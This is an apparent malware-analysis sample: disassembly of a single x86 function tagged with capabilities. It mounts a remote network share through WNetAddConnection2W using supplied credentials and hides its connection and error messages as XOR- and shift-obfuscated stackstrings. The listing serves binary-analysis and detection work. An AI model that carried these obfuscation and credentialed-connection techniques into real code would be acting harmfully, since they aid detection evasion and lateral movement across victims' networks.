Function at 0x44bea0
Capabilities:
Connect network resource
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4b3e4b
mov eax, dword fs:[0]
push eax
sub esp, 0x1a4
mov eax, dword [0x4e1654]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
mov esi, dword [ebp + 0xc]
mov ecx, eax
mov edi, dword [ebp + 0x10]
mov dword [ebp - 0x16c], eax
cmp dword [eax + 0x14], 8
movups xmmword [ebp - 0x1b0], xmm0
movups xmmword [ebp - 0x1a0], xmm0
jb 0x44bef7
mov ecx, dword [eax]
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x19c], ecx
mov ecx, esi
jb 0x44bf07
mov ecx, dword [esi]
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x44bf11
mov eax, dword [edi]
push 4
push ecx
push eax
lea eax, [ebp - 0x1b0]
push eax
call sub.MPR.dll_WNetAddConnection2W
mov dword [ebp - 0x168], eax
test eax, eax
jne 0x44c2af
mov edx, 0x77
mov ecx, 0x79
mov word [ebp - 0xac], dx
mov eax, 0x67
mov word [ebp - 0xaa], cx
mov word [ebp - 0xa8], ax
mov word [ebp - 0xa6], ax
mov eax, 0x69
mov word [ebp - 0xa4], ax
mov eax, 0x6a
mov word [ebp - 0xa2], dx
mov word [ebp - 0xa0], dx
mov word [ebp - 0x9e], ax
mov eax, 0x70
mov word [ebp - 0x9c], cx
mov word [ebp - 0x9a], ax
xor eax, eax
mov word [ebp - 0x98], ax
xor ecx, ecx
mov ax, word [ebp - 0xac]
nop word [eax + eax]
mov ax, word [ebp + ecx*2 - 0xac]
sub ax, 4
mov word [ebp + ecx*2 - 0xac], ax
inc ecx
cmp ecx, 0xa
jb 0x44bfb0
lea eax, [ebp - 0xac]
mov ecx, 0x66
mov dword [ebp - 0x180], eax
mov eax, 0x73
mov word [ebp - 0xe0], cx
mov word [ebp - 0xde], ax
mov eax, 0x69
mov word [ebp - 0xdc], ax
mov eax, 0x25
mov word [ebp - 0xda], ax
mov eax, 0x75
mov word [ebp - 0xd8], ax
mov eax, 0x78
mov word [ebp - 0xd6], cx
mov word [ebp - 0xd4], ax
mov word [ebp - 0xd2], ax
mov eax, 0x7c
mov word [ebp - 0xd0], ax
mov eax, 0x74
mov word [ebp - 0xce], ax
mov eax, 0x69
mov word [ebp - 0xcc], dx
mov word [ebp - 0xca], ax
xor eax, eax
mov word [ebp - 0xc8], ax
xor ecx, ecx
mov ax, word [ebp - 0xe0]
nop dword [eax]
mov ax, word [ebp + ecx*2 - 0xe0]
sub ax, 5
mov word [ebp + ecx*2 - 0xe0], ax
inc ecx
cmp ecx, 0xc
jb 0x44c070
lea eax, [ebp - 0xe0]
mov ecx, 0x6c
mov dword [ebp - 0x184], eax
mov eax, 0x7a
mov word [ebp - 0xc4], ax
mov eax, 0x6b
mov word [ebp - 0xc2], cx
mov word [ebp - 0xc0], dx
mov word [ebp - 0xbe], ax
mov eax, 0x23
mov word [ebp - 0xbc], ax
mov eax, 0x6f
mov word [ebp - 0xba], ax
mov eax, 0x72
mov word [ebp - 0xb8], ax
mov eax, 0x6a
mov word [ebp - 0xb6], ax
mov eax, 0x71
mov word [ebp - 0xb4], cx
mov word [ebp - 0xb2], ax
xor eax, eax
mov word [ebp - 0xb0], ax
xor ecx, ecx
mov ax, word [ebp - 0xc4]
nop word [eax + eax]
mov ax, word [ebp + ecx*2 - 0xc4]
sub ax, 3
mov word [ebp + ecx*2 - 0xc4], ax
inc ecx
cmp ecx, 0xa
jb 0x44c120
lea eax, [ebp - 0xc4]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x30], 0x29a4
mov eax, dword [ebp - 0x30]
xor eax, 0x43
mov word [ebp - 0x2c], ax
mov eax, dword [ebp - 0x30]
inc eax
xor eax, 0x6f
mov word [ebp - 0x2a], ax
mov eax, dword [ebp - 0x30]
add eax, 2
xor eax, 0x6e
mov word [ebp - 0x28], ax
mov eax, dword [ebp - 0x30]
add eax, 3
xor eax, 0x6e
mov word [ebp - 0x26], ax
mov eax, dword [ebp - 0x30]
add eax, 4
xor eax, 0x65
mov word [ebp - 0x24], ax
mov eax, dword [ebp - 0x30]
add eax, 5
xor eax, 0x63
mov word [ebp - 0x22], ax
mov eax, dword [ebp - 0x30]
add eax, 6
xor eax, 0x74
mov word [ebp - 0x20], ax
mov eax, dword [ebp - 0x30]
add eax, 7
xor eax, 0x69
mov word [ebp - 0x1e], ax
mov eax, dword [ebp - 0x30]
add eax, 8
xor eax, 0x6f
mov word [ebp - 0x1c], ax
mov eax, dword [ebp - 0x30]
add eax, 9
xor eax, 0x6e
mov word [ebp - 0x1a], ax
mov eax, dword [ebp - 0x30]
add eax, 0xa
xor eax, 0x20
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0x30]
add eax, 0xb
xor eax, 0x74
mov word [ebp - 0x16], ax
mov eax, dword [ebp - 0x30]
add eax, 0xc
xor eax, 0x6f
mov word [ebp - 0x14], ax
xor eax, eax
mov word [ebp - 0x12], ax
mov ax, word [ebp - 0x2c]
xor eax, eax
nop dword [eax]
mov cx, word [ebp + eax*2 - 0x2c]
mov edx, dword [ebp - 0x30]
add edx, eax
movzx ecx, cx
xor edx, ecx
mov word [ebp + eax*2 - 0x2c], dx
inc eax
cmp eax, 0xd
jb 0x44c200
xor eax, eax
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x164], eax
call fcn.00425d60
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0
movq xmm0, qword [ebp - 0x190]
mov ecx, dword [eax + 0x114]
lea eax, [ebp - 0x180]
push eax
push edi
lea eax, [ebp - 0x184]
push eax
push esi
lea eax, [ebp - 0x170]
push eax
push dword [ebp - 0x16c]
lea eax, [ebp - 0x164]
push eax
push 0x1b
push str.0_1_2_3_4_5_6
push 2
sub esp, 0xc
mov eax, esp
movq qword [eax], xmm0
mov dword [eax + 8], 0
call fcn.0044a140
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0048af00
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebp - 0x78], 0x5a0e
lea ecx, [ebp - 0x78]
mov eax, dword [ebp - 0x78]
xor eax, 0x65
mov word [ebp - 0x74], ax
mov eax, dword [ebp - 0x78]
inc eax
xor eax, 0x72
mov word [ebp - 0x72], ax
mov eax, dword [ebp - 0x78]
add eax, 2
xor eax, 0x72
mov word [ebp - 0x70], ax
mov eax, dword [ebp - 0x78]
add eax, 3
xor eax, 0x6f
mov word [ebp - 0x6e], ax
mov eax, dword [ebp - 0x78]
add eax, 4
xor eax, 0x72
mov word [ebp - 0x6c], ax
xor eax, eax
mov word [ebp - 0x6a], ax
mov ax, word [ebp - 0x74]
call fcn.0044fd60
mov dword [ebp - 0x174], eax
mov ecx, 0x67bd
mov dword [ebp - 0x100], 0x67dc
mov eax, 0x67b2
mov word [ebp - 0xfc], cx
mov edx, 0x67b8
mov word [ebp - 0xfa], ax
mov eax, 0x67fc
mov word [ebp - 0xf8], dx
mov word [ebp - 0xf6], ax
mov eax, 0x67ac
mov word [ebp - 0xf4], ax
mov eax, 0x67af
mov word [ebp - 0xf2], cx
lea ecx, [ebp - 0x100]
mov word [ebp - 0xf0], ax
mov word [ebp - 0xee], ax
mov eax, 0x67ab
mov word [ebp - 0xec], ax
mov eax, 0x67b3
mov word [ebp - 0xea], ax
mov eax, 0x67ae
mov word [ebp - 0xe8], ax
xor eax, eax
mov word [ebp - 0xe6], dx
mov word [ebp - 0xe4], ax
mov ax, word [ebp - 0xfc]
call fcn.0044fec0
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x94], 0x54b0
mov eax, dword [ebp - 0x94]
xor eax, 0x77
mov word [ebp - 0x90], ax
mov eax, dword [ebp - 0x94]
inc eax
xor eax, 0x69
mov word [ebp - 0x8e], ax
mov eax, dword [ebp - 0x94]
add eax, 2
xor eax, 0x74
mov word [ebp - 0x8c], ax
mov eax, dword [ebp - 0x94]
add eax, 3
xor eax, 0x68
mov word [ebp - 0x8a], ax
mov eax, dword [ebp - 0x94]
add eax, 4
xor eax, 0x20
mov word [ebp - 0x88], ax
mov eax, dword [ebp - 0x94]
add eax, 5
xor eax, 0x6c
mov word [ebp - 0x86], ax
mov eax, dword [ebp - 0x94]
add eax, 6
xor eax, 0x6f
mov word [ebp - 0x84], ax
lea ecx, [ebp - 0x94]
mov eax, dword [ebp - 0x94]
add eax, 7
xor eax, 0x67
mov word [ebp - 0x82], ax
mov eax, dword [ebp - 0x94]
add eax, 8
xor eax, 0x69
mov word [ebp - 0x80], ax
mov eax, dword [ebp - 0x94]
add eax, 9
xor eax, 0x6e
mov word [ebp - 0x7e], ax
xor eax, eax
mov word [ebp - 0x7c], ax
mov ax, word [ebp - 0x90]
call fcn.0044fd20
mov dword [ebp - 0x17c], eax
mov ecx, 0x68bd
mov dword [ebp - 0x130], 0x68d8
mov eax, 0x688d
mov word [ebp - 0x12c], ax
mov edx, 0x68b7
mov eax, 0x68b6
mov word [ebp - 0x12a], ax
mov eax, 0x68b9
mov word [ebp - 0x128], ax
mov eax, 0x68ba
mov word [ebp - 0x126], ax
mov eax, 0x68b4
mov word [ebp - 0x124], ax
mov eax, 0x68f8
mov word [ebp - 0x122], cx
mov ecx, 0x68b6
mov word [ebp - 0x120], ax
mov eax, 0x68ac
mov word [ebp - 0x11e], ax
mov eax, 0x68f8
mov word [ebp - 0x11c], dx
mov word [ebp - 0x11a], ax
mov eax, 0x68bb
mov word [ebp - 0x118], ax
mov word [ebp - 0x116], dx
mov word [ebp - 0x114], cx
mov word [ebp - 0x112], cx
mov ecx, 0x68bd
mov word [ebp - 0x110], cx
mov ecx, 0x68f8
mov word [ebp - 0x10e], ax
mov eax, 0x68ac
mov word [ebp - 0x10c], ax
mov word [ebp - 0x10a], cx
lea ecx, [ebp - 0x130]
mov word [ebp - 0x108], ax
xor eax, eax
mov word [ebp - 0x106], dx
mov word [ebp - 0x104], ax
mov ax, word [ebp - 0x12c]
call fcn.0044fef0
mov dword [ebp - 0x164], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x174]
push eax
push edi
lea eax, [ebp - 0x178]
push eax
push esi
lea eax, [ebp - 0x17c]
push eax
push dword [ebp - 0x16c]
lea eax, [ebp - 0x164]
push eax
sub esp, 8
mov ecx, esp
push str.0_1_2_3_4_5_6_7
call fcn.00416d00
call fcn.0044a080
push dword [ebp - 0x168]
lea eax, [ebp - 0x148]
push eax
call fcn.00448580
add esp, 0x30
mov esi, eax
mov dword [ebp - 0x68], 0x51
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x64], 4
mov byte [ebp - 0x63], 0x3f
mov byte [ebp - 0x62], 0x30
mov byte [ebp - 0x61], 0x33
mov byte [ebp - 0x60], 0x3d
mov byte [ebp - 0x5f], 0x34
mov byte [ebp - 0x5e], 0x71
mov byte [ebp - 0x5d], 0x25
mov byte [ebp - 0x5c], 0x3e
mov byte [ebp - 0x5b], 0x71
mov byte [ebp - 0x5a], 0x32
mov byte [ebp - 0x59], 0x3e
mov byte [ebp - 0x58], 0x3f
mov byte [ebp - 0x57], 0x3f
mov byte [ebp - 0x56], 0x34
mov byte [ebp - 0x55], 0x32
mov byte [ebp - 0x54], 0x25
mov byte [ebp - 0x53], 0x71
mov byte [ebp - 0x52], 0x25
mov byte [ebp - 0x51], 0x3e
mov byte [ebp - 0x50], 0x71
mov byte [ebp - 0x4f], 0x23
mov byte [ebp - 0x4e], 0x34
mov byte [ebp - 0x4d], 0x3c
mov byte [ebp - 0x4c], 0x3e
mov byte [ebp - 0x4b], 0x25
mov byte [ebp - 0x4a], 0x34
mov byte [ebp - 0x49], 0x71
mov byte [ebp - 0x48], 0x3c
mov byte [ebp - 0x47], 0x30
mov byte [ebp - 0x46], 0x32
mov byte [ebp - 0x45], 0x39
mov byte [ebp - 0x44], 0x38
mov byte [ebp - 0x43], 0x3f
mov byte [ebp - 0x42], 0x34
mov byte [ebp - 0x41], 0x7d
mov byte [ebp - 0x40], 0x71
mov byte [ebp - 0x3f], 0x34
mov byte [ebp - 0x3e], 0x23
mov byte [ebp - 0x3d], 0x23
mov byte [ebp - 0x3c], 0x3e
mov byte [ebp - 0x3b], 0x23
mov byte [ebp - 0x3a], 0x71
mov byte [ebp - 0x39], 0x32
mov byte [ebp - 0x38], 0x3e
mov byte [ebp - 0x37], 0x35
mov byte [ebp - 0x36], 0x34
mov byte [ebp - 0x35], 0x71
mov al, byte [ebp - 0x64]
mov dword [ebp - 4], 0
mov byte [ebp - 0x34], 0
call fcn.0044fe60
push esi
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.004016a0
add esp, 0xc
push eax
lea ecx, [ebp - 0x190]
mov byte [ebp - 4], 1
call fcn.0043f0e0
push 0x4db33c
lea eax, [ebp - 0x190]
push eax
call fcn.0048c287
int3